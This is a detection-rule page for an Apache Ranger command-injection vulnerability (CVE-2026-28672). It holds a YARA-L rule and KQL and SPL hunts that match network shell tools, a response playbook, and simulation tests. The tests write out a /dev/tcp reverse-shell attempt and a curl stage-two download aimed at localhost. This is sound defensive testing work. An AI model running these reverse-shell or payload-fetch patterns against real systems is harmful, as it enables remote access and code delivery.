CVE-2026-28672 Google Chronicle · YARA-L

Detect Apache Ranger Command Injection (CVE-2026-28672) in Google Chronicle

Detects exploitation attempts and post-exploitation activity targeting CVE-2026-28672, a critical (CVSS 9.8) OS command injection vulnerability (CWE-77) in Apache Ranger versions >= 0.6.0 and <= 2.8.0. An attacker able to reach the Ranger Admin service or its policy/condition evaluation surface can inject shell metacharacters that are passed to an OS command execution context, achieving remote code execution as the Ranger service account. Detection focuses on the Ranger Admin/Java process (ranger-admin, EmbeddedServer) spawning shell interpreters or command-injection payload patterns in Ranger HTTP request logs.

MITRE ATT&CK

Tactic
Initial Access Execution

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule ranger_cmd_injection_cve_2026_28672 {
  meta:
    author = "argus"
    description = "Apache Ranger command injection RCE (CVE-2026-28672)"
    severity = "CRITICAL"
  events:
    $e.metadata.event_type = "PROCESS_LAUNCH"
    $e.principal.process.parent_process.file.full_path = /java/ nocase
    $e.principal.process.parent_process.command_line = /ranger|org\.apache\.ranger|EmbeddedServer/ nocase
    $e.target.process.file.full_path = /(bash|sh|dash|zsh|python|perl|nc|ncat|curl|wget|powershell)/ nocase
    $e.target.process.command_line = /(-c|\/dev\/tcp|base64|bash -i|\$\(|`|;|\|)/
  condition:
    $e
}
critical severity high confidence

Chronicle YARA-L rule detecting the Ranger Java parent launching shells with injection indicators.

Data Sources

EDRWindows SysmonLinux auditd

Required Tables

UDM

False Positives & Tuning

  • Ranger startup scripts spawning shells
  • Legitimate admin operations under ranger account
  • Monitoring agents launched from Ranger

Other platforms for CVE-2026-28672

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Ranger command injection via shell metacharacters

    Expected signal: Process start event for bash with parent java and command line containing 'echo RANGER_CMD_INJECTION_TEST'.

  2. Test 2Simulate reverse-shell payload from Ranger context

    Expected signal: Process start with command line referencing /dev/tcp and an outbound socket attempt to 127.0.0.1:9999.

  3. Test 3Simulate payload download via curl from Ranger process tree

    Expected signal: Process start for curl with an HTTP URL and output redirection, parented by a shell under java.

Last updated: 2026-09-04 Research depth: standard
References (4)

Response Playbook

Triage

  1. Confirm the affected host runs Apache Ranger Admin and identify the deployed version; if it is >= 0.6.0 and <= 2.8.0 it is vulnerable to CVE-2026-28672.
  2. Review the parent-child process chain: verify the shell/network utility was actually spawned by the Ranger Java process (ranger-admin/EmbeddedServer) rather than a legitimate init script.
  3. Correlate the process start time with Ranger Admin HTTP access logs to locate the triggering request, source IP, and injected payload.
  4. Check whether the spawned process established outbound network connections (reverse shell, curl/wget to attacker infrastructure).

Containment

  1. Isolate the affected Ranger Admin host from the network to prevent lateral movement and further command execution.
  2. Block the identified attacker source IP(s) at the perimeter and restrict access to the Ranger Admin port (default 6080/6182) to trusted management networks.
  3. Rotate the Ranger service account credentials and any secrets accessible from the Ranger process (DB credentials, policy sync keys).

Evidence Collection

  1. Capture the full process tree, command lines, and environment of the Ranger Java process and its children.
  2. Preserve Ranger Admin access/application logs (ranger-admin-*.log, xa_portal.log) and the web server access logs covering the injection request.
  3. Collect any dropped files, shell history, and outbound connection records (auditd, netflow, EDR) associated with the spawned processes.

Escalation Criteria

  • !Escalate to incident response if a reverse shell, outbound C2 connection, or secondary payload download is confirmed.
  • !Escalate to the data/security owner if the Ranger policy store or backing database shows signs of credential access or unauthorized policy modification.

Investigation Guide

Related Techniques

[object Object][object Object]

Forensic Artifacts

  • >Ranger Admin logs (xa_portal.log, ranger-admin-*.log) containing the malformed policy/condition request
  • >Process ancestry showing java -> shell -> network utility
  • >auditd execve records and shell history under the ranger service account

Tuning Guidance

Baseline the legitimate shell invocations from Ranger startup and maintenance scripts (ranger-admin-services.sh, DB setup, log rotation) and exclude those specific command lines. Restrict the parent match to hosts confirmed to run Ranger Admin to cut noise from unrelated Java applications. Tighten the payload regex to your environment's observed injection markers once a true positive is characterized.

Hunting Queries

Hunts for any child shell/network process spawned by the Ranger Java process regardless of payload heuristics.

Hunting — KQL
kql 
DeviceProcessEvents | where InitiatingProcessFileName == "java" and InitiatingProcessCommandLine has "org.apache.ranger" | where FileName in~ ("bash","sh","nc","curl","wget","python3") | project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine
Hunting — SPL
spl 
index=edr parent_process_name=java parent_process=*org.apache.ranger* process_name IN ("bash","sh","nc","curl","wget","python3") | table _time host user process

Atomic Red Team Tests

Test 1 Simulate Ranger command injection via shell metacharacters
linux

Emulates a command-injection payload evaluated by a Ranger-like Java parent that passes attacker input to a shell.

Command

bash 
java -version 2>/dev/null; bash -c 'id; echo RANGER_CMD_INJECTION_TEST > /tmp/ranger_cve_2026_28672.txt'

Cleanup

bash 
rm -f /tmp/ranger_cve_2026_28672.txt

Expected Telemetry

Process start event for bash with parent java and command line containing 'echo RANGER_CMD_INJECTION_TEST'.

Expected Detection

KQL/SPL/EDR rules fire on java parent spawning bash -c with injection markers.

Test 2 Simulate reverse-shell payload from Ranger context
linux

Emulates the /dev/tcp reverse-shell pattern commonly seen after CVE-2026-28672 exploitation.

Command

bash 
bash -c 'exec 3<>/dev/tcp/127.0.0.1/9999 || echo reverse_shell_attempt_logged'

Cleanup

bash 
echo 'no artifacts to remove'

Expected Telemetry

Process start with command line referencing /dev/tcp and an outbound socket attempt to 127.0.0.1:9999.

Expected Detection

Detection matches the /dev/tcp indicator in the process command line.

Test 3 Simulate payload download via curl from Ranger process tree
linux

Emulates second-stage payload retrieval using curl invoked as a child of a Java process.

Command

bash 
bash -c 'curl -s http://127.0.0.1/malicious_stage2 -o /tmp/stage2 || echo download_attempt_logged'

Cleanup

bash 
rm -f /tmp/stage2

Expected Telemetry

Process start for curl with an HTTP URL and output redirection, parented by a shell under java.

Expected Detection

Detection matches curl/wget child processes with network fetch indicators in the Ranger process tree.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.004Unix Shell

Same Tactic: Initial Access

Popular Detections